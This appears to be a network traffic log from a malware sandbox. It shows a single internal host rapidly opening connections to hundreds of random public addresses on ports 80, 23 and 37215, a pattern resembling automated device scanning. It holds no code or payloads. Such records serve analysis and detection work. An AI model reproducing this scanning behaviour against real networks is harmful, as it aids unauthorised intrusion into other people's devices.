Jan 5, 2025 14:26:54.634104013 CET	56958	80	192.168.2.13	18.106.22.74
Jan 5, 2025 14:26:54.634105921 CET	56958	80	192.168.2.13	137.19.3.209
Jan 5, 2025 14:26:54.634110928 CET	56958	80	192.168.2.13	171.222.220.104
Jan 5, 2025 14:26:54.634121895 CET	56958	80	192.168.2.13	108.53.58.232
Jan 5, 2025 14:26:54.634124994 CET	56958	80	192.168.2.13	181.221.2.20
Jan 5, 2025 14:26:54.634130955 CET	56958	80	192.168.2.13	203.171.113.224
Jan 5, 2025 14:26:54.634130955 CET	56958	80	192.168.2.13	147.223.146.94
Jan 5, 2025 14:26:54.634135008 CET	56958	80	192.168.2.13	205.54.25.137
Jan 5, 2025 14:26:54.634135008 CET	56958	80	192.168.2.13	172.5.17.245
Jan 5, 2025 14:26:54.634140015 CET	56958	80	192.168.2.13	139.139.140.224
Jan 5, 2025 14:26:54.634147882 CET	56958	80	192.168.2.13	8.241.68.142
Jan 5, 2025 14:26:54.634154081 CET	56958	80	192.168.2.13	197.124.172.176
Jan 5, 2025 14:26:54.634155035 CET	56958	80	192.168.2.13	184.28.43.118
Jan 5, 2025 14:26:54.634155035 CET	56958	80	192.168.2.13	87.10.90.1
Jan 5, 2025 14:26:54.634155035 CET	56958	80	192.168.2.13	50.47.129.158
Jan 5, 2025 14:26:54.634156942 CET	56958	80	192.168.2.13	107.244.152.85
Jan 5, 2025 14:26:54.634170055 CET	56958	80	192.168.2.13	211.3.137.76
Jan 5, 2025 14:26:54.634171963 CET	56958	80	192.168.2.13	203.76.6.246
Jan 5, 2025 14:26:54.634171963 CET	56958	80	192.168.2.13	32.202.35.205
Jan 5, 2025 14:26:54.634172916 CET	56958	80	192.168.2.13	124.154.245.185
Jan 5, 2025 14:26:54.634172916 CET	56958	80	192.168.2.13	110.239.241.172
Jan 5, 2025 14:26:54.634172916 CET	56958	80	192.168.2.13	50.136.173.38
Jan 5, 2025 14:26:54.634175062 CET	56958	80	192.168.2.13	208.185.113.103
Jan 5, 2025 14:26:54.634174109 CET	56958	80	192.168.2.13	13.121.248.153
Jan 5, 2025 14:26:54.634174109 CET	56958	80	192.168.2.13	63.155.118.196
Jan 5, 2025 14:26:54.634181023 CET	56958	80	192.168.2.13	87.55.143.223
Jan 5, 2025 14:26:54.634181023 CET	56958	80	192.168.2.13	99.123.13.253
Jan 5, 2025 14:26:54.634181023 CET	56958	80	192.168.2.13	219.62.40.210
Jan 5, 2025 14:26:54.634192944 CET	56958	80	192.168.2.13	171.178.215.114
Jan 5, 2025 14:26:54.634192944 CET	56958	80	192.168.2.13	169.174.192.177
Jan 5, 2025 14:26:54.634198904 CET	56958	80	192.168.2.13	213.26.121.253
Jan 5, 2025 14:26:54.634198904 CET	56958	80	192.168.2.13	179.73.170.226
Jan 5, 2025 14:26:54.634198904 CET	56958	80	192.168.2.13	172.183.108.110
Jan 5, 2025 14:26:54.634200096 CET	56958	80	192.168.2.13	20.5.124.38
Jan 5, 2025 14:26:54.634198904 CET	56958	80	192.168.2.13	105.33.217.131
Jan 5, 2025 14:26:54.634201050 CET	56958	80	192.168.2.13	113.33.160.10
Jan 5, 2025 14:26:54.634201050 CET	56958	80	192.168.2.13	79.168.146.49
Jan 5, 2025 14:26:54.634201050 CET	56958	80	192.168.2.13	74.54.195.108
Jan 5, 2025 14:26:54.634202003 CET	56958	80	192.168.2.13	201.147.12.88
Jan 5, 2025 14:26:54.634198904 CET	56958	80	192.168.2.13	169.22.125.121
Jan 5, 2025 14:26:54.634202003 CET	56958	80	192.168.2.13	152.123.207.43
Jan 5, 2025 14:26:54.634201050 CET	56958	80	192.168.2.13	86.4.237.45
Jan 5, 2025 14:26:54.634207964 CET	56958	80	192.168.2.13	60.195.224.83
Jan 5, 2025 14:26:54.634202003 CET	56958	80	192.168.2.13	111.90.61.4
Jan 5, 2025 14:26:54.634200096 CET	56958	80	192.168.2.13	166.142.185.61
Jan 5, 2025 14:26:54.634200096 CET	56958	80	192.168.2.13	112.148.19.162
Jan 5, 2025 14:26:54.634222031 CET	56958	80	192.168.2.13	114.165.226.241
Jan 5, 2025 14:26:54.634222031 CET	56958	80	192.168.2.13	179.176.232.3
Jan 5, 2025 14:26:54.634222031 CET	56958	80	192.168.2.13	157.20.31.61
Jan 5, 2025 14:26:54.634222984 CET	56958	80	192.168.2.13	20.108.251.160
Jan 5, 2025 14:26:54.634222984 CET	56958	80	192.168.2.13	121.116.54.38
Jan 5, 2025 14:26:54.634222984 CET	56958	80	192.168.2.13	181.109.34.176
Jan 5, 2025 14:26:54.634223938 CET	56958	80	192.168.2.13	66.72.130.101
Jan 5, 2025 14:26:54.634223938 CET	56958	80	192.168.2.13	157.194.6.119
Jan 5, 2025 14:26:54.634224892 CET	56958	80	192.168.2.13	106.204.233.195
Jan 5, 2025 14:26:54.634232044 CET	56958	80	192.168.2.13	40.2.182.151
Jan 5, 2025 14:26:54.634232044 CET	56958	80	192.168.2.13	213.209.219.156
Jan 5, 2025 14:26:54.634232998 CET	56958	80	192.168.2.13	169.206.1.130
Jan 5, 2025 14:26:54.634232044 CET	56958	80	192.168.2.13	167.167.226.195
Jan 5, 2025 14:26:54.634232998 CET	56958	80	192.168.2.13	71.133.133.89
Jan 5, 2025 14:26:54.634234905 CET	56958	80	192.168.2.13	67.52.19.27
Jan 5, 2025 14:26:54.634234905 CET	56958	80	192.168.2.13	210.1.99.210
Jan 5, 2025 14:26:54.634234905 CET	56958	80	192.168.2.13	24.95.116.74
Jan 5, 2025 14:26:54.634234905 CET	56958	80	192.168.2.13	97.86.132.99
Jan 5, 2025 14:26:54.634234905 CET	56958	80	192.168.2.13	109.113.186.65
Jan 5, 2025 14:26:54.634241104 CET	56958	80	192.168.2.13	107.237.20.244
Jan 5, 2025 14:26:54.634236097 CET	56958	80	192.168.2.13	197.111.226.215
Jan 5, 2025 14:26:54.634251118 CET	56958	80	192.168.2.13	81.212.40.233
Jan 5, 2025 14:26:54.634251118 CET	56958	80	192.168.2.13	34.8.227.114
Jan 5, 2025 14:26:54.634251118 CET	56958	80	192.168.2.13	98.41.143.55
Jan 5, 2025 14:26:54.634251118 CET	56958	80	192.168.2.13	175.141.89.87
Jan 5, 2025 14:26:54.634251118 CET	56958	80	192.168.2.13	212.156.164.182
Jan 5, 2025 14:26:54.634251118 CET	56958	80	192.168.2.13	65.221.25.159
Jan 5, 2025 14:26:54.634251118 CET	56958	80	192.168.2.13	204.100.1.236
Jan 5, 2025 14:26:54.634253979 CET	56958	80	192.168.2.13	151.245.99.220
Jan 5, 2025 14:26:54.634253979 CET	56958	80	192.168.2.13	63.52.182.117
Jan 5, 2025 14:26:54.634258986 CET	53400	80	192.168.2.13	212.7.199.36
Jan 5, 2025 14:26:54.634279013 CET	40304	80	192.168.2.13	32.230.67.75
Jan 5, 2025 14:26:54.634294987 CET	48014	80	192.168.2.13	204.72.238.16
Jan 5, 2025 14:26:54.634306908 CET	39800	80	192.168.2.13	103.86.3.245
Jan 5, 2025 14:26:54.634320974 CET	41420	80	192.168.2.13	200.133.13.167
Jan 5, 2025 14:26:54.634322882 CET	37168	80	192.168.2.13	217.9.42.229
Jan 5, 2025 14:26:54.634335041 CET	57060	80	192.168.2.13	129.158.234.92
Jan 5, 2025 14:26:54.634352922 CET	55076	80	192.168.2.13	121.78.124.211
Jan 5, 2025 14:26:54.634361982 CET	34232	80	192.168.2.13	1.244.139.105
Jan 5, 2025 14:26:54.634371042 CET	60568	80	192.168.2.13	194.70.139.54
Jan 5, 2025 14:26:54.634387970 CET	53636	80	192.168.2.13	207.255.36.88
Jan 5, 2025 14:26:54.634423018 CET	51630	80	192.168.2.13	144.42.87.129
Jan 5, 2025 14:26:54.634437084 CET	44662	80	192.168.2.13	117.177.168.99
Jan 5, 2025 14:26:54.634439945 CET	55050	80	192.168.2.13	168.206.81.184
Jan 5, 2025 14:26:54.634454966 CET	55106	80	192.168.2.13	153.35.202.79
Jan 5, 2025 14:26:54.634468079 CET	48986	80	192.168.2.13	107.156.206.131
Jan 5, 2025 14:26:54.634480000 CET	48212	80	192.168.2.13	140.6.135.109
Jan 5, 2025 14:26:54.634481907 CET	55366	80	192.168.2.13	47.248.87.162
Jan 5, 2025 14:26:54.634497881 CET	60252	80	192.168.2.13	90.34.164.154
Jan 5, 2025 14:26:54.634511948 CET	36112	80	192.168.2.13	97.22.217.119
Jan 5, 2025 14:26:54.634526014 CET	36034	80	192.168.2.13	221.124.53.8
Jan 5, 2025 14:26:54.634566069 CET	49614	80	192.168.2.13	43.50.1.171
Jan 5, 2025 14:26:54.634577036 CET	40934	80	192.168.2.13	44.59.3.80
Jan 5, 2025 14:26:54.634598017 CET	36480	80	192.168.2.13	174.92.211.105
Jan 5, 2025 14:26:54.634598017 CET	45900	80	192.168.2.13	4.170.217.133
Jan 5, 2025 14:26:54.634609938 CET	47198	80	192.168.2.13	120.174.76.147
Jan 5, 2025 14:26:54.634619951 CET	40290	80	192.168.2.13	198.217.110.104
Jan 5, 2025 14:26:54.634629965 CET	38756	80	192.168.2.13	176.222.222.58
Jan 5, 2025 14:26:54.634638071 CET	42048	80	192.168.2.13	132.186.207.59
Jan 5, 2025 14:26:54.634659052 CET	37572	80	192.168.2.13	23.53.22.11
Jan 5, 2025 14:26:54.634664059 CET	57112	80	192.168.2.13	98.161.96.215
Jan 5, 2025 14:26:54.634670019 CET	59956	80	192.168.2.13	9.248.137.237
Jan 5, 2025 14:26:54.634680986 CET	33292	80	192.168.2.13	159.196.207.39
Jan 5, 2025 14:26:54.634694099 CET	57110	80	192.168.2.13	41.122.180.203
Jan 5, 2025 14:26:54.634706974 CET	51342	80	192.168.2.13	74.100.9.3
Jan 5, 2025 14:26:54.634706974 CET	36738	80	192.168.2.13	85.107.32.131
Jan 5, 2025 14:26:54.634718895 CET	47154	80	192.168.2.13	182.179.229.36
Jan 5, 2025 14:26:54.634723902 CET	53922	80	192.168.2.13	113.159.145.106
Jan 5, 2025 14:26:54.634742975 CET	34368	80	192.168.2.13	25.213.217.67
Jan 5, 2025 14:26:54.634763002 CET	36902	80	192.168.2.13	39.153.86.8
Jan 5, 2025 14:26:54.634778976 CET	35330	80	192.168.2.13	185.109.216.10
Jan 5, 2025 14:26:54.634783983 CET	34438	80	192.168.2.13	162.9.146.128
Jan 5, 2025 14:26:54.634804010 CET	58884	80	192.168.2.13	108.37.183.143
Jan 5, 2025 14:26:54.634804964 CET	34744	80	192.168.2.13	213.204.244.108
Jan 5, 2025 14:26:54.634826899 CET	36412	80	192.168.2.13	176.96.253.149
Jan 5, 2025 14:26:54.634833097 CET	47702	80	192.168.2.13	12.69.37.219
Jan 5, 2025 14:26:54.634834051 CET	45428	80	192.168.2.13	68.179.119.142
Jan 5, 2025 14:26:54.634850025 CET	49042	80	192.168.2.13	70.170.141.169
Jan 5, 2025 14:26:54.634856939 CET	51472	80	192.168.2.13	164.96.50.138
Jan 5, 2025 14:26:54.634869099 CET	43874	80	192.168.2.13	62.136.35.107
Jan 5, 2025 14:26:54.634874105 CET	45236	80	192.168.2.13	83.122.59.236
Jan 5, 2025 14:26:54.634896994 CET	57608	80	192.168.2.13	213.35.130.108
Jan 5, 2025 14:26:54.634913921 CET	42524	80	192.168.2.13	168.186.120.171
Jan 5, 2025 14:26:54.634926081 CET	36960	80	192.168.2.13	175.138.211.65
Jan 5, 2025 14:26:54.634931087 CET	35612	80	192.168.2.13	95.238.195.12
Jan 5, 2025 14:26:54.634943008 CET	58602	80	192.168.2.13	208.31.194.136
Jan 5, 2025 14:26:54.634946108 CET	44010	80	192.168.2.13	172.62.123.93
Jan 5, 2025 14:26:54.634970903 CET	36488	80	192.168.2.13	148.191.125.133
Jan 5, 2025 14:26:54.634989977 CET	49742	80	192.168.2.13	18.235.10.26
Jan 5, 2025 14:26:54.635000944 CET	59922	80	192.168.2.13	193.171.152.57
Jan 5, 2025 14:26:54.635000944 CET	57442	80	192.168.2.13	131.41.241.155
Jan 5, 2025 14:26:54.635006905 CET	34592	80	192.168.2.13	192.244.49.80
Jan 5, 2025 14:26:54.635008097 CET	35916	80	192.168.2.13	220.2.179.250
Jan 5, 2025 14:26:54.635026932 CET	49234	80	192.168.2.13	126.157.187.235
Jan 5, 2025 14:26:54.635042906 CET	42344	80	192.168.2.13	43.188.126.123
Jan 5, 2025 14:26:54.635054111 CET	38586	80	192.168.2.13	57.178.24.154
Jan 5, 2025 14:26:54.635062933 CET	60420	80	192.168.2.13	86.78.207.41
Jan 5, 2025 14:26:54.635078907 CET	42054	80	192.168.2.13	35.64.69.62
Jan 5, 2025 14:26:54.635083914 CET	56684	80	192.168.2.13	5.240.107.112
Jan 5, 2025 14:26:54.635092020 CET	44862	80	192.168.2.13	64.91.25.212
Jan 5, 2025 14:26:54.635097027 CET	37464	80	192.168.2.13	188.51.143.156
Jan 5, 2025 14:26:54.635108948 CET	46368	80	192.168.2.13	170.84.61.11
Jan 5, 2025 14:26:54.635117054 CET	54826	80	192.168.2.13	50.66.56.213
Jan 5, 2025 14:26:54.635126114 CET	37194	80	192.168.2.13	188.172.100.78
Jan 5, 2025 14:26:54.635149956 CET	39564	80	192.168.2.13	70.175.241.17
Jan 5, 2025 14:26:54.635154009 CET	34910	80	192.168.2.13	73.73.85.60
Jan 5, 2025 14:26:54.635159016 CET	45970	80	192.168.2.13	101.53.250.76
Jan 5, 2025 14:26:54.635168076 CET	47352	80	192.168.2.13	98.202.158.137
Jan 5, 2025 14:26:54.635174990 CET	44716	80	192.168.2.13	130.201.16.9
Jan 5, 2025 14:26:54.635189056 CET	50904	80	192.168.2.13	93.78.25.220
Jan 5, 2025 14:26:54.635205984 CET	54762	80	192.168.2.13	132.148.206.39
Jan 5, 2025 14:26:54.635221958 CET	56678	80	192.168.2.13	169.177.216.77
Jan 5, 2025 14:26:54.635222912 CET	55040	80	192.168.2.13	90.219.134.167
Jan 5, 2025 14:26:54.635236025 CET	36942	80	192.168.2.13	31.192.238.25
Jan 5, 2025 14:26:54.635256052 CET	58418	80	192.168.2.13	203.57.112.31
Jan 5, 2025 14:26:54.635258913 CET	48782	80	192.168.2.13	92.128.57.47
Jan 5, 2025 14:26:54.635262012 CET	48534	80	192.168.2.13	47.214.179.76
Jan 5, 2025 14:26:54.635276079 CET	35194	80	192.168.2.13	153.224.111.26
Jan 5, 2025 14:26:54.635282993 CET	48824	80	192.168.2.13	52.80.168.177
Jan 5, 2025 14:26:54.635293007 CET	51814	80	192.168.2.13	179.122.26.72
Jan 5, 2025 14:26:54.635303974 CET	60882	80	192.168.2.13	222.189.243.39
Jan 5, 2025 14:26:54.635317087 CET	47048	80	192.168.2.13	121.106.199.139
Jan 5, 2025 14:26:54.635329008 CET	37098	80	192.168.2.13	95.147.60.89
Jan 5, 2025 14:26:54.635329008 CET	33816	80	192.168.2.13	103.59.158.247
Jan 5, 2025 14:26:54.635349035 CET	48078	80	192.168.2.13	126.164.92.163
Jan 5, 2025 14:26:54.636878014 CET	23	59226	221.142.162.162	192.168.2.13
Jan 5, 2025 14:26:54.636961937 CET	59226	23	192.168.2.13	221.142.162.162
Jan 5, 2025 14:26:54.636981010 CET	59430	23	192.168.2.13	221.142.162.162
Jan 5, 2025 14:26:54.638597965 CET	80	56958	123.198.94.11	192.168.2.13
Jan 5, 2025 14:26:54.638607979 CET	80	56958	130.171.189.113	192.168.2.13
Jan 5, 2025 14:26:54.638617992 CET	80	56958	155.116.17.180	192.168.2.13
Jan 5, 2025 14:26:54.638627052 CET	80	56958	44.245.49.18	192.168.2.13
Jan 5, 2025 14:26:54.638636112 CET	80	56958	49.175.63.25	192.168.2.13
Jan 5, 2025 14:26:54.638644934 CET	80	56958	124.161.18.153	192.168.2.13
Jan 5, 2025 14:26:54.638653040 CET	56958	80	192.168.2.13	123.198.94.11
Jan 5, 2025 14:26:54.638653040 CET	56958	80	192.168.2.13	130.171.189.113
Jan 5, 2025 14:26:54.638653994 CET	80	56958	90.161.70.11	192.168.2.13
Jan 5, 2025 14:26:54.638660908 CET	56958	80	192.168.2.13	155.116.17.180
Jan 5, 2025 14:26:54.638660908 CET	56958	80	192.168.2.13	44.245.49.18
Jan 5, 2025 14:26:54.638663054 CET	80	56958	112.100.244.25	192.168.2.13
Jan 5, 2025 14:26:54.638665915 CET	56958	80	192.168.2.13	49.175.63.25
Jan 5, 2025 14:26:54.638672113 CET	80	56958	212.225.7.65	192.168.2.13
Jan 5, 2025 14:26:54.638684988 CET	56958	80	192.168.2.13	124.161.18.153
Jan 5, 2025 14:26:54.638686895 CET	56958	80	192.168.2.13	90.161.70.11
Jan 5, 2025 14:26:54.638686895 CET	80	56958	93.142.68.139	192.168.2.13
Jan 5, 2025 14:26:54.638695002 CET	56958	80	192.168.2.13	112.100.244.25
Jan 5, 2025 14:26:54.638699055 CET	56958	80	192.168.2.13	212.225.7.65
Jan 5, 2025 14:26:54.638706923 CET	80	56958	8.39.136.201	192.168.2.13
Jan 5, 2025 14:26:54.638715982 CET	80	56958	150.212.74.93	192.168.2.13
Jan 5, 2025 14:26:54.638725996 CET	80	56958	201.170.158.50	192.168.2.13
Jan 5, 2025 14:26:54.638735056 CET	80	56958	53.232.140.191	192.168.2.13
Jan 5, 2025 14:26:54.638736010 CET	56958	80	192.168.2.13	93.142.68.139
Jan 5, 2025 14:26:54.638739109 CET	56958	80	192.168.2.13	8.39.136.201
Jan 5, 2025 14:26:54.638746023 CET	80	56958	87.145.7.72	192.168.2.13
Jan 5, 2025 14:26:54.638750076 CET	56958	80	192.168.2.13	150.212.74.93
Jan 5, 2025 14:26:54.638755083 CET	80	56958	25.176.189.45	192.168.2.13
Jan 5, 2025 14:26:54.638761997 CET	56958	80	192.168.2.13	201.170.158.50
Jan 5, 2025 14:26:54.638763905 CET	80	56958	211.197.169.193	192.168.2.13
Jan 5, 2025 14:26:54.638773918 CET	80	56958	112.40.138.124	192.168.2.13
Jan 5, 2025 14:26:54.638778925 CET	56958	80	192.168.2.13	87.145.7.72
Jan 5, 2025 14:26:54.638782024 CET	80	56958	119.181.178.16	192.168.2.13
Jan 5, 2025 14:26:54.638789892 CET	56958	80	192.168.2.13	25.176.189.45
Jan 5, 2025 14:26:54.638791084 CET	56958	80	192.168.2.13	53.232.140.191
Jan 5, 2025 14:26:54.638791084 CET	56958	80	192.168.2.13	211.197.169.193
Jan 5, 2025 14:26:54.638804913 CET	56958	80	192.168.2.13	112.40.138.124
Jan 5, 2025 14:26:54.638804913 CET	56958	80	192.168.2.13	119.181.178.16
Jan 5, 2025 14:26:54.640095949 CET	80	37098	95.147.60.89	192.168.2.13
Jan 5, 2025 14:26:54.640140057 CET	37098	80	192.168.2.13	95.147.60.89
Jan 5, 2025 14:26:54.640171051 CET	44052	80	192.168.2.13	123.198.94.11
Jan 5, 2025 14:26:54.640188932 CET	37764	80	192.168.2.13	130.171.189.113
Jan 5, 2025 14:26:54.640192032 CET	51506	80	192.168.2.13	155.116.17.180
Jan 5, 2025 14:26:54.640199900 CET	55792	80	192.168.2.13	44.245.49.18
Jan 5, 2025 14:26:54.640211105 CET	48564	80	192.168.2.13	49.175.63.25
Jan 5, 2025 14:26:54.640225887 CET	47176	80	192.168.2.13	124.161.18.153
Jan 5, 2025 14:26:54.640239000 CET	45792	80	192.168.2.13	90.161.70.11
Jan 5, 2025 14:26:54.640256882 CET	38184	80	192.168.2.13	112.100.244.25
Jan 5, 2025 14:26:54.640259027 CET	42570	80	192.168.2.13	212.225.7.65
Jan 5, 2025 14:26:54.640269041 CET	37436	80	192.168.2.13	93.142.68.139
Jan 5, 2025 14:26:54.640284061 CET	52266	80	192.168.2.13	8.39.136.201
Jan 5, 2025 14:26:54.640295982 CET	51752	80	192.168.2.13	150.212.74.93
Jan 5, 2025 14:26:54.640311956 CET	46790	80	192.168.2.13	201.170.158.50
Jan 5, 2025 14:26:54.640327930 CET	52764	80	192.168.2.13	53.232.140.191
Jan 5, 2025 14:26:54.640337944 CET	42294	80	192.168.2.13	87.145.7.72
Jan 5, 2025 14:26:54.640360117 CET	47988	80	192.168.2.13	211.197.169.193
Jan 5, 2025 14:26:54.640367985 CET	45964	80	192.168.2.13	112.40.138.124
Jan 5, 2025 14:26:54.640382051 CET	44184	80	192.168.2.13	119.181.178.16
Jan 5, 2025 14:26:54.640387058 CET	56840	80	192.168.2.13	25.176.189.45
Jan 5, 2025 14:26:54.640415907 CET	37098	80	192.168.2.13	95.147.60.89
Jan 5, 2025 14:26:54.640415907 CET	37098	80	192.168.2.13	95.147.60.89
Jan 5, 2025 14:26:54.640428066 CET	37144	80	192.168.2.13	95.147.60.89
Jan 5, 2025 14:26:54.641721010 CET	23	59226	221.142.162.162	192.168.2.13
Jan 5, 2025 14:26:54.645198107 CET	80	37098	95.147.60.89	192.168.2.13
Jan 5, 2025 14:26:54.658622026 CET	56446	37215	192.168.2.13	41.180.26.32
Jan 5, 2025 14:26:54.658622026 CET	56446	37215	192.168.2.13	197.239.210.237
Jan 5, 2025 14:26:54.658622026 CET	56446	37215	192.168.2.13	197.255.23.109
Jan 5, 2025 14:26:54.658627033 CET	56446	37215	192.168.2.13	41.18.27.202
Jan 5, 2025 14:26:54.658627033 CET	56446	37215	192.168.2.13	197.88.236.82
Jan 5, 2025 14:26:54.658627033 CET	56446	37215	192.168.2.13	197.80.201.166
Jan 5, 2025 14:26:54.658632994 CET	56446	37215	192.168.2.13	41.42.172.192
Jan 5, 2025 14:26:54.658636093 CET	56446	37215	192.168.2.13	156.51.6.102
Jan 5, 2025 14:26:54.658636093 CET	56446	37215	192.168.2.13	197.155.235.86
Jan 5, 2025 14:26:54.658637047 CET	56446	37215	192.168.2.13	41.103.87.0
Jan 5, 2025 14:26:54.658657074 CET	56446	37215	192.168.2.13	41.41.193.227
Jan 5, 2025 14:26:54.658658981 CET	56446	37215	192.168.2.13	41.94.169.23
Jan 5, 2025 14:26:54.658669949 CET	56446	37215	192.168.2.13	156.92.64.3
Jan 5, 2025 14:26:54.658669949 CET	56446	37215	192.168.2.13	156.150.238.75
Jan 5, 2025 14:26:54.658670902 CET	56446	37215	192.168.2.13	41.27.248.187
Jan 5, 2025 14:26:54.658669949 CET	56446	37215	192.168.2.13	156.135.70.208
Jan 5, 2025 14:26:54.658669949 CET	56446	37215	192.168.2.13	41.227.37.167
Jan 5, 2025 14:26:54.658673048 CET	56446	37215	192.168.2.13	41.47.221.255
Jan 5, 2025 14:26:54.658674002 CET	56446	37215	192.168.2.13	156.224.93.240
Jan 5, 2025 14:26:54.658701897 CET	56446	37215	192.168.2.13	156.194.29.75
Jan 5, 2025 14:26:54.658704042 CET	56446	37215	192.168.2.13	156.77.186.42
Jan 5, 2025 14:26:54.658704042 CET	56446	37215	192.168.2.13	197.77.118.188
Jan 5, 2025 14:26:54.658704042 CET	56446	37215	192.168.2.13	41.118.97.94
Jan 5, 2025 14:26:54.658705950 CET	56446	37215	192.168.2.13	41.46.31.195
Jan 5, 2025 14:26:54.658715010 CET	56446	37215	192.168.2.13	197.228.216.54
Jan 5, 2025 14:26:54.658715010 CET	56446	37215	192.168.2.13	156.3.107.78
Jan 5, 2025 14:26:54.658716917 CET	56446	37215	192.168.2.13	41.194.215.23
Jan 5, 2025 14:26:54.658719063 CET	56446	37215	192.168.2.13	41.139.232.166
Jan 5, 2025 14:26:54.658719063 CET	56446	37215	192.168.2.13	41.176.224.53
Jan 5, 2025 14:26:54.658720016 CET	56446	37215	192.168.2.13	197.231.38.67
Jan 5, 2025 14:26:54.658720970 CET	56446	37215	192.168.2.13	41.219.103.91
Jan 5, 2025 14:26:54.658723116 CET	56446	37215	192.168.2.13	197.185.231.167
Jan 5, 2025 14:26:54.658723116 CET	56446	37215	192.168.2.13	156.234.106.176
Jan 5, 2025 14:26:54.658726931 CET	56446	37215	192.168.2.13	41.142.87.65
Jan 5, 2025 14:26:54.658727884 CET	56446	37215	192.168.2.13	197.25.252.116
Jan 5, 2025 14:26:54.658727884 CET	56446	37215	192.168.2.13	197.141.30.25
Jan 5, 2025 14:26:54.658740997 CET	56446	37215	192.168.2.13	156.227.40.31
Jan 5, 2025 14:26:54.658741951 CET	56446	37215	192.168.2.13	156.139.121.143
Jan 5, 2025 14:26:54.658741951 CET	56446	37215	192.168.2.13	156.201.147.146
Jan 5, 2025 14:26:54.658763885 CET	56446	37215	192.168.2.13	41.33.214.152
Jan 5, 2025 14:26:54.658763885 CET	56446	37215	192.168.2.13	156.249.40.180
Jan 5, 2025 14:26:54.658763885 CET	56446	37215	192.168.2.13	41.106.55.203
Jan 5, 2025 14:26:54.658765078 CET	56446	37215	192.168.2.13	41.122.27.51
Jan 5, 2025 14:26:54.658767939 CET	56446	37215	192.168.2.13	41.107.254.227
Jan 5, 2025 14:26:54.658790112 CET	56446	37215	192.168.2.13	156.120.166.199
Jan 5, 2025 14:26:54.658792019 CET	56446	37215	192.168.2.13	41.158.147.77
Jan 5, 2025 14:26:54.658795118 CET	56446	37215	192.168.2.13	41.164.0.226
Jan 5, 2025 14:26:54.658809900 CET	56446	37215	192.168.2.13	156.113.38.71
Jan 5, 2025 14:26:54.658812046 CET	56446	37215	192.168.2.13	41.226.156.39
Jan 5, 2025 14:26:54.658816099 CET	56446	37215	192.168.2.13	41.165.40.176
Jan 5, 2025 14:26:54.658822060 CET	56446	37215	192.168.2.13	197.170.96.185
Jan 5, 2025 14:26:54.658824921 CET	56446	37215	192.168.2.13	41.17.83.142
Jan 5, 2025 14:26:54.658828020 CET	56446	37215	192.168.2.13	156.174.223.245
Jan 5, 2025 14:26:54.658828020 CET	56446	37215	192.168.2.13	41.49.65.215
Jan 5, 2025 14:26:54.658828020 CET	56446	37215	192.168.2.13	41.247.72.22
Jan 5, 2025 14:26:54.658845901 CET	56446	37215	192.168.2.13	41.210.240.247
Jan 5, 2025 14:26:54.658853054 CET	56446	37215	192.168.2.13	41.183.179.118
Jan 5, 2025 14:26:54.658859015 CET	56446	37215	192.168.2.13	41.196.139.135
Jan 5, 2025 14:26:54.658859968 CET	56446	37215	192.168.2.13	197.229.86.95
Jan 5, 2025 14:26:54.658865929 CET	56446	37215	192.168.2.13	41.253.17.167
Jan 5, 2025 14:26:54.658884048 CET	56446	37215	192.168.2.13	41.207.229.135
Jan 5, 2025 14:26:54.658884048 CET	56446	37215	192.168.2.13	41.47.198.244
Jan 5, 2025 14:26:54.658884048 CET	56446	37215	192.168.2.13	41.158.63.116
Jan 5, 2025 14:26:54.658885002 CET	56446	37215	192.168.2.13	41.130.157.222
Jan 5, 2025 14:26:54.658895016 CET	56446	37215	192.168.2.13	197.145.66.35
Jan 5, 2025 14:26:54.658921957 CET	56446	37215	192.168.2.13	197.193.163.168
Jan 5, 2025 14:26:54.658921957 CET	56446	37215	192.168.2.13	197.16.238.168
Jan 5, 2025 14:26:54.658926964 CET	56446	37215	192.168.2.13	156.135.64.196
Jan 5, 2025 14:26:54.658926964 CET	56446	37215	192.168.2.13	197.30.82.170
Jan 5, 2025 14:26:54.658931017 CET	56446	37215	192.168.2.13	41.173.60.27
Jan 5, 2025 14:26:54.658932924 CET	56446	37215	192.168.2.13	197.234.92.24
Jan 5, 2025 14:26:54.658934116 CET	56446	37215	192.168.2.13	156.228.249.33
Jan 5, 2025 14:26:54.658932924 CET	56446	37215	192.168.2.13	156.175.97.70
Jan 5, 2025 14:26:54.658932924 CET	56446	37215	192.168.2.13	156.14.140.226
Jan 5, 2025 14:26:54.658932924 CET	56446	37215	192.168.2.13	41.175.133.123
Jan 5, 2025 14:26:54.658932924 CET	56446	37215	192.168.2.13	156.242.159.150
Jan 5, 2025 14:26:54.658936977 CET	56446	37215	192.168.2.13	41.3.240.58
Jan 5, 2025 14:26:54.658936977 CET	56446	37215	192.168.2.13	156.150.163.184
Jan 5, 2025 14:26:54.658940077 CET	56446	37215	192.168.2.13	156.68.98.188
Jan 5, 2025 14:26:54.658940077 CET	56446	37215	192.168.2.13	41.175.33.136
Jan 5, 2025 14:26:54.658946037 CET	56446	37215	192.168.2.13	197.165.61.194
Jan 5, 2025 14:26:54.658946037 CET	56446	37215	192.168.2.13	41.135.92.195
Jan 5, 2025 14:26:54.658947945 CET	56446	37215	192.168.2.13	156.211.135.182
Jan 5, 2025 14:26:54.658947945 CET	56446	37215	192.168.2.13	197.133.105.125
Jan 5, 2025 14:26:54.658951044 CET	56446	37215	192.168.2.13	197.12.211.171
Jan 5, 2025 14:26:54.658951044 CET	56446	37215	192.168.2.13	197.4.37.118
Jan 5, 2025 14:26:54.658971071 CET	56446	37215	192.168.2.13	197.118.36.165
Jan 5, 2025 14:26:54.658972025 CET	56446	37215	192.168.2.13	41.201.218.191
Jan 5, 2025 14:26:54.658972025 CET	56446	37215	192.168.2.13	41.42.116.52
Jan 5, 2025 14:26:54.658972979 CET	56446	37215	192.168.2.13	197.31.169.50
Jan 5, 2025 14:26:54.658974886 CET	56446	37215	192.168.2.13	156.188.75.7
Jan 5, 2025 14:26:54.658981085 CET	56446	37215	192.168.2.13	197.28.251.89
Jan 5, 2025 14:26:54.658987999 CET	56446	37215	192.168.2.13	156.59.141.9
Jan 5, 2025 14:26:54.658989906 CET	56446	37215	192.168.2.13	197.211.125.112
Jan 5, 2025 14:26:54.658989906 CET	56446	37215	192.168.2.13	41.249.107.187
Jan 5, 2025 14:26:54.658989906 CET	56446	37215	192.168.2.13	41.198.147.3
Jan 5, 2025 14:26:54.658993959 CET	56446	37215	192.168.2.13	41.204.231.98
Jan 5, 2025 14:26:54.659003019 CET	56446	37215	192.168.2.13	41.242.81.148
Jan 5, 2025 14:26:54.659004927 CET	56446	37215	192.168.2.13	197.30.103.253
Jan 5, 2025 14:26:54.659009933 CET	56446	37215	192.168.2.13	41.8.17.183
